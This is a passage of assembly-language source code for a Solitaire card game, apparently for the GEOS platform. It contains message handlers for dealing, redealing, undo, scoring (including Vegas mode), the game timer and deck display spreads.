SS_SECONDS_PER_TAX ; ; Yes, it's time to penalize!!! ; clr cx mov dx, SS_POINTS_PER_TAX ;if so, tax 'em mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock jmp done outOfTime: clr ax mov bx, ax xchg bx, ds:[di].KI_timerHandle call TimerStop mov ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING tst ds:[di].GI_dragger.handle jnz done PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound mov ds:[di].KI_timeStatus, TIME_EXPIRED mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle OutOfTimeBox mov si, offset OutOfTimeBox clr di call ObjMessage jmp done SolitaireUpdateTime endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireNewGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_NEW_GAME handler for SolitaireClass Starts a new game. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: gives the hand all the cards instructs the hand to shuffle the cards instructs the hand to deal the cards initializes time and score displays KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireNewGame method SolitaireClass, MSG_SOLITAIRE_NEW_GAME ; ; If the user has managed to slip in a bunch of ; redeal requests, we only want to handle one of them, ; so we check to see if this isn't the first... ; test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED jnz done BitSet ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED ; ; To redeal, we need to flush out the fade array, then ; send ourselves a method to start a new game. ; notRedealingYet:: mov ax, MSG_GAME_ZERO_FADE_ARRAY call ObjCallInstanceNoLock mov bx, ds:[LMBH_handle] mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE mov ax, MSG_SOLITAIRE_REDEAL call ObjMessage done: ret SolitaireNewGame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireRedeal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_REDEAL handler for SolitaireClass Starts a new game of solitaire. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: everything PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireRedeal method SolitaireClass, MSG_SOLITAIRE_REDEAL ; ; Give the user the winner's card back design if he ; won the last game ; RESET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz disableTriggers SET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK disableTriggers: RESET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME mov dl, VUM_NOW push si CallObjectNS RedealTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS CallObjectNS MyHand, MSG_DECK_GET_N_CARDS, MF_CALL mov dl, VUM_DELAYED_VIA_APP_QUEUE CallObjectNS AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObjectNS NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS cmp cx, 52 je handHasAllCards pop si mov ax, MSG_GAME_COLLECT_ALL_CARDS call ObjCallInstanceNoLock push si handHasAllCards: CallObjectNS MyHand, MSG_HAND_SHUFFLE, MF_FORCE_QUEUE CallObjectNS MyPlayingTable, MSG_SOLITAIRE_DEAL, MF_FORCE_QUEUE pop si PointDi2 Game_offset mov ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET cmp ds:[di].KI_scoringType, ST_VEGAS jne initScore clr cx mov dx, INITIAL_VEGAS_SCORE mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock jmp initTime initScore: ; ; Initialize the score ; mov ax, MSG_SOLITAIRE_INITIALIZE_SCORE call ObjCallInstanceNoLock ; ; Initialize the time ; initTime: mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock ret SolitaireRedeal endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGetDrawNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_GET_DRAW_NUMBER handler for SolitaireClass CALLED BY: PASS: nothing CHANGES: nothing RETURN: cl = number of cards to be drawn from the hand each time DESTROYED: cx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGetDrawNumber method SolitaireClass, MSG_SOLITAIRE_GET_DRAW_NUMBER clr ch mov cl, ds:[di].KI_drawNumber ret SolitaireGetDrawNumber endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDrawNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_DRAW_NUMBER handler for SolitaireClass Sets the number of cards to draw from the hand each time CALLED BY: PASS: cl = # to draw CHANGES: KI_drawNumber <- cl RETURN: DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDrawNumber method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER CallObject DrawList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL setNumber:: mov di, ds:[si] add di, ds:[di].Game_offset mov ds:[di].KI_drawNumber, al cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg done mov bp, 10 mul bp sub ax, 40 mov_trash bp, ax mov cx, SS_TALON_PUSH mov dx, SS_TALON_POP CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS done: ret SolitaireSetDrawNumber endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUnmark %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_UNMARK_ACCEPTORS handler for SolitaireClass Resets the DA_WANTS_DRAG bit in decks where that bit got set in MSG_GAME_MARK_ACCEPTORS and shouldn't have been. This happens when the drop card is an ace and the top card of the deck is a 2 of opposite color. CALLED BY: PASS: nothing CHANGES: may unmark certain decks as acceptors. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; The constants (FIRST,LAST)_TABLEAU_ELEMENT represent the child ; numbers of the first and last tableau elements ; FIRST_TABLEAU_ELEMENT = 6 LAST_TABLEAU_ELEMENT = 12 SolitaireUnmarkAcceptors method SolitaireClass, \ MSG_GAME_UNMARK_ACCEPTORS ; ; Get the drop card attributes from the dropping deck ; CallObjectCXDX MSG_DECK_GET_DROP_CARD_ATTRIBUTES, MF_CALL ; ; If the user isn't dropping an ace, then there is no ; need to unmark anything ; CmpRank bp, CR_ACE jne endSolitaireUnmark mov dx, FIRST_TABLEAU_ELEMENT startLoop: cmp dx, LAST_TABLEAU_ELEMENT jg endLoop push dx clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock ;^lcx:dx = TE .warn -private mov di, dx mov di, ds:[di] add di, ds:[di].Deck_offset RESET ds:[di].DI_deckAttrs, DA_WANTS_DRAG .warn @private pop dx inc dx jmp startLoop endLoop: endSolitaireUnmark: ret SolitaireUnmarkAcceptors endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TimeToTextObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates a time string and sets the Text Object to display this string. CALLED BY: SolitaireUpdateTime PASS: ES = DGroup DS = Relocatable segment DI:SI = Block:chunk of TextObject CX = # of seconds RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TimeToTextObject proc near uses di, es .enter mov bx, di ; BX:SI is the TextEditObject segmov es, ss, dx ; SS to ES and DX! sub sp, EVEN_DATE_TIME_BUFFER_SIZE ; allocate room on the stack mov bp, sp ; ES:BP => buffer to fill mov_tr ax, cx call WriteTime clr cx ; string is NULL terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ; send the method add sp, EVEN_DATE_TIME_BUFFER_SIZE ; restore the stack .leave ret TimeToTextObject endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_UNDO handler for SolitaireClass Undoes the last transfer of cards performed. CALLED BY: PASS: nothing CHANGES: undoes last 'move' by returning any cards that exchanged ownership RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: calls deck in GI_lastDonor to retrieve the last donation, then resets the score to GI_lastScore KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUndo method SolitaireClass, MSG_SOLITAIRE_UNDO ; ; If the game is redealing, or was just won, forget about ; undoing anything ; test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED jnz endSolitaireUndo test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz endSolitaireUndo PointDi2 Game_offset clr bx xchg bx, ds:[di].GI_lastDonor.handle tst bx jz endSolitaireUndo getCardsBack:: push ds:[di].GI_lastScore push si ; ; Since we're undoing the transfer, we want to clear out the ; lastDonor field so it doesn't happen again. ; clr si xchg si, ds:[di].GI_lastDonor.chunk mov ax, MSG_DECK_RETRIEVE_CARDS mov di, mask MF_FIXUP_DS call ObjMessage cmp si, offset MyTalon jne updateScore ; ; The talon is getting some cards back, so disable the ; auto finish trigger if need be. ; mov bx, handle AutoFinishTrigger mov si, offset AutoFinishTrigger mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_FIXUP_DS call ObjMessage mov bx, handle NewGameTrigger mov si, offset NewGameTrigger mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS call ObjMessage updateScore: pop si ; ; Restore the score to what it was before the transfer ; pop cx clr dx mov bx, ds:[LMBH_handle] mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE mov ax, MSG_GAME_UPDATE_SCORE call ObjMessage mov dl, VUM_NOW CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS endSolitaireUndo: ret SolitaireUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUpdateTimesThru %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_UPDATE_TIMES_THRU handler for SolitaireClass Updates the number of times the player has gone thru the hand. CALLED BY: TalonFlush, HandReturnCards PASS: cx = incremental amount (probably +1 or -1) CHANGES: RETURN: cx = times thru - draw number DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 9/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUpdateTimesThru method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIMES_THRU add cx, ds:[di].KI_nTimesThru mov ds:[di].KI_nTimesThru, cx mov dl, ds:[di].KI_drawNumber clr dh sub cx, dx ret SolitaireUpdateTimesThru endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireQueryFlushOK %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_QUERY_FLUSH_OK handler for SolitaireClass Checks to make sure that the talon hasn't been flushed more than the number of cards that are flipped each time (under vegas scoring only). CALLED BY: PASS: nothing CHANGES: nothing RETURN: carry set if ok to flush carry clear if not ok to flush DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireQueryFlushOK method SolitaireClass, MSG_SOLITAIRE_QUERY_FLUSH_OK ; ; If the game is *not* vegas scoring, then there is never ; a time we would want to restrict flushing the talon, so ; we just return affirmatively ; cmp ds:[di].KI_scoringType, ST_VEGAS ;vegas scoring? jne isOkay ;if not, don't worry mov cx, ds:[di].KI_nTimesThru ;cx <- # times thru inc cx cmp cl, ds:[di].KI_drawNumber ;compare the # of ;flushes already to ;the number of cards ;turned each time jl isOkay ;if less, ok ; ; Tell the user that it is NOT ok to flush the talon ; clc jmp endSolitaireQueryFlushOK isOkay: stc endSolitaireQueryFlushOK: ret SolitaireQueryFlushOK endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireCheckMinimumScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_CHECK_MINIMUM_SCORE handler for SolitaireClass Checks to make sure that a score is not less than the minimum score allowed by the game. CALLED BY: PASS: cx = score to check CHANGES: RETURN: cx = max(passed score, minimum allowable score) DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireCheckMinimumScore method SolitaireClass, MSG_GAME_CHECK_MINIMUM_SCORE cmp ds:[di].KI_scoringType, ST_VEGAS je checkVegas cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg returnScore cmp cx, SS_MINIMUM_SCORE ;have we gone below minimum jge returnScore ;score? if so, rectify mov cx, SS_MINIMUM_SCORE ;the situation by setting ;score to the minimum returnScore: ret checkVegas: cmp cx, VS_MINIMUM_SCORE jge returnScore mov cx, VS_MINIMUM_SCORE jmp returnScore SolitaireCheckMinimumScore endm SolitaireUpdateScore method SolitaireClass, MSG_GAME_UPDATE_SCORE mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Game_offset cmp ds:[di].KI_scoringType, ST_VEGAS je vegas done: ret vegas: mov ax, ds:[di].GI_score mov ds:[di].KI_cash, ax jmp done SolitaireUpdateScore endm if 0 SolitaireCashOut method SolitaireClass, MSG_SOLITAIRE_CASH_OUT zero ax, dx mov cx, ds:[di].KI_cash tst cx jle updateScore mov bl, ds:[di].KI_drawNumber mov bh, ds:[di].GI_userMode call HiScoreAddScore updateScore: pushf mov cx, dx ;cx, dx = 0 mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock popf ; ; If score made it into high scores, no need to redeal ; (done through the summons) ; jc done mov ax, MSG_SOLITAIRE_REDEAL call ObjCallInstanceNoLock done: ret SolitaireCashOut endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_DEAL handler for SolitaireClass Deals out cards for a new solitaire game CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: for (n = 1; n <= 7; n++) { deal an up card to tableauElement #n for (m = n + 1; m<=7; m++) { deal a down card to tableauElement #m } } KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 7/90 initial version jon 9/90 took this function out of hand.asm and put it into solitaire.asm %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeal method SolitaireClass, MSG_SOLITAIRE_DEAL ; ; Get the composite locations of the first and last tableau ; elements ; mov bp, LAST_TABLEAU_ELEMENT push bp mov bp, FIRST_TABLEAU_ELEMENT push bp startLoop1: CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL jnc gotKid jmp endLoop1 ;if no child to pop, end gotKid: CallObjectCXDX MSG_CARD_TURN_FACE_UP, MF_FIXUP_DS pop bp ;bp <- # of tE to receive face up card push bp push cx,dx ;save card OD mov dx, bp ;dx <- te # clr cx ; ; Get the OD of the tableau element to receive the next card ; mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock ; ; Give the card to the tableau element ; PLAY_SOUND SS_DEALING ;play the card dealt sound mov bx, cx ;bx <- handle of recipient tableauElement mov bp, dx ;bp <- offset of recipient tableauElement pop cx, dx ;restore card OD push si ;save hand offset mov si, bp ;si <- offset of recipient tableauElement mov ax, MSG_DECK_GET_DEALT ;deal card mov di, mask MF_FIXUP_DS call ObjMessage pop si ;restore hand offset pop cx ;number of guy who got the up card pop dx ;number of last TE cmp cx, dx ;done yet? jge endLoop1 push cx ;number of guy who got the up card push dx ;number of last TE push cx ;index to use for number of guy to get down card startLoop2: pop cx ;# of te that got last card pop dx ;# of te7 inc cx cmp cx,dx ;done yet? jg endLoop2 push dx ;push # of te7 push cx ;push # of te to receive next card CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL jc endLoop2 ;if no child to pop, end pop bp ;bp <- # of te to receive next card push bp push cx,dx ;save card OD mov dx, bp clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock mov bx, cx ;bx <- handle of te to receive card mov bp, dx ;bp <- offset of te to receive card pop cx, dx ;restore OD of card push si ;save hand offset mov si, bp ;si <- offset of recipient te mov ax, MSG_DECK_GET_DEALT ;deal card mov di, mask MF_FIXUP_DS call ObjMessage pop si jmp startLoop2 endLoop2: ; ; stack should contain only number of TE that got last up card ; pop cx ; number of TE that got last card push dx ; number of TE7 inc cx ;point at next te push cx ;push # of te to receive next card jmp startLoop1 endLoop1: PointDi2 Game_offset RESET ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED clr ds:[di].KI_nTimesThru mov ds:[di].KI_nFaceDownCardsInTableau, 21 mov dl, VUM_NOW CallObjectNS RedealTrigger, MSG_GEN_SET_ENABLED, MF_FIXUP_DS ret SolitaireDeal endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireHandSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_HAND_SELECTED handler for SolitaireClass Instructs the hand object to either turn over more cards into the talon, or if the hand is out of cards, to get them back from the talon. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: ax, bx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireHandSelected method SolitaireClass, MSG_GAME_HAND_SELECTED mov bx, handle MyHand mov si, offset MyHand mov ax, MSG_TURN_OR_FLUSH mov di, mask MF_FIXUP_DS call ObjMessage ret SolitaireHandSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireShutdown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SHUTDOWN handler for SolitaireClass Makes sure that the timer is turned off before exiting. CALLED BY: PASS: nothing CHANGES: if KI_timerHandle is non-zero, call TimerStop on it RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireShutdown method SolitaireClass, MSG_GAME_SHUTDOWN tst ds:[di].KI_timerHandle jz callSuper clr bx xchg bx, ds:[di].KI_timerHandle clr ax ; 0 => continual call TimerStop callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SHUTDOWN call ObjCallSuperNoLock ret SolitaireShutdown endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetUpSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_UP_SPREADS handler for SolitaireClass Sets the visual spreads for Solitaire's decks for cards placed on face up cards. CALLED BY: PASS: dx = vertical displacement (horizontal displacement for Solitaire = 0) CHANGES: RETURN: nothing DESTROYED: bp, bx PSEUDO CODE/STRATEGY: call SetSpreads after clearing the horizontal component KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetUpSpreads method dynamic SolitaireClass, MSG_GAME_SET_UP_SPREADS .enter mov ds:[di].GI_upSpreadX, cx mov ds:[di].GI_upSpreadY, dx push cx ;save horiz spread clr cx ;no horiz up spread mov ax, MSG_DECK_SET_UP_SPREADS mov bx, handle TE1 mov si, offset TE1 clr di call ObjMessage mov si, offset TE2 clr di call ObjMessage mov si, offset TE3 clr di call ObjMessage mov si, offset TE4 clr di call ObjMessage mov si, offset TE5 clr di call ObjMessage mov si, offset TE6 clr di call ObjMessage mov si, offset TE7 clr di call ObjMessage pop cx ;cx <- horiz spread clr dx mov si, offset MyTalon clr di call ObjMessage .leave ret SolitaireSetUpSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDownSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DOWN_SPREADS handler for SolitaireClass Sets the visual spreads for Solitaire's decks for cards placed on face down cards. CALLED BY: PASS: dx = vertical displacement (horizontal displacement for Solitaire = 0) CHANGES: RETURN: nothing DESTROYED: bp, bx PSEUDO CODE/STRATEGY: call SetSpreads after clearing the horizontal component KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDownSpreads method SolitaireClass, MSG_GAME_SET_DOWN_SPREADS .enter mov di, offset SolitaireClass call ObjCallSuperNoLock clr cx mov ax, MSG_DECK_SET_DOWN_SPREADS mov bx, handle TE1 mov si, offset TE1 clr di call ObjMessage mov si, offset TE2 clr di call ObjMessage mov si, offset TE3 clr di call ObjMessage mov si, offset TE4 clr di call ObjMessage mov si, offset TE5 clr di call ObjMessage mov si, offset TE6 clr di call ObjMessage mov si, offset TE7 clr di call ObjMessage .leave ret SolitaireSetDownSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetFontSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SET_FONT_SIZE handler for SolitaireClass Resizes the text in the status bar to the passed point size. CALLED BY: PASS: cx = point size CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetFontSize method SolitaireClass, MSG_GAME_SET_FONT_SIZE mov dx, size VisTextSetPointSizeParams sub sp, dx mov bp, sp ; structure => SS:BP clrdw ss:[bp].VTSPSP_range.VTR_start movdw ss:[bp].VTSPSP_range.VTR_end, TEXT_ADDRESS_PAST_END mov ss:[bp].VTSPSP_pointSize.WWF_frac, 0 mov ss:[bp].VTSPSP_pointSize.WWF_int, cx CallObjectNS ScoreLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS ScoreValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS TimeLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS TimeValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK add sp, size VisTextSetPointSizeParams ret SolitaireSetFontSize endm if 0 ;I hate this damn effect COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireWeHaveAWinner %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_WE_HAVE_A_WINNER handler for SolitaireClass Creates the lovely card-fan-effect when the game has been won. CALLED BY: PASS: nothing CHANGES: stops the game timer (if any) RETURN: nothing DESTROYED: all PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; The following two constants define the amount of "spread" ; in the card fan. EFFECTS_ANGLE is the initial angle at which ; the fan begins drawing, and EFFECTS_DELTA_ANGLE is the amount ; the angle is increased for each new card being drawn ; EFFECTS_ANGLE = 28 EFFECTS_DELTA_ANGLE = 1 FIRST_FOUNDATION = 2 LAST_FOUNDATION = 5 SolitaireWeHaveAWinner method SolitaireClass, MSG_SOLITAIRE_WE_HAVE_A_WINNER ; ; Stop the game timer if need be ; cmp 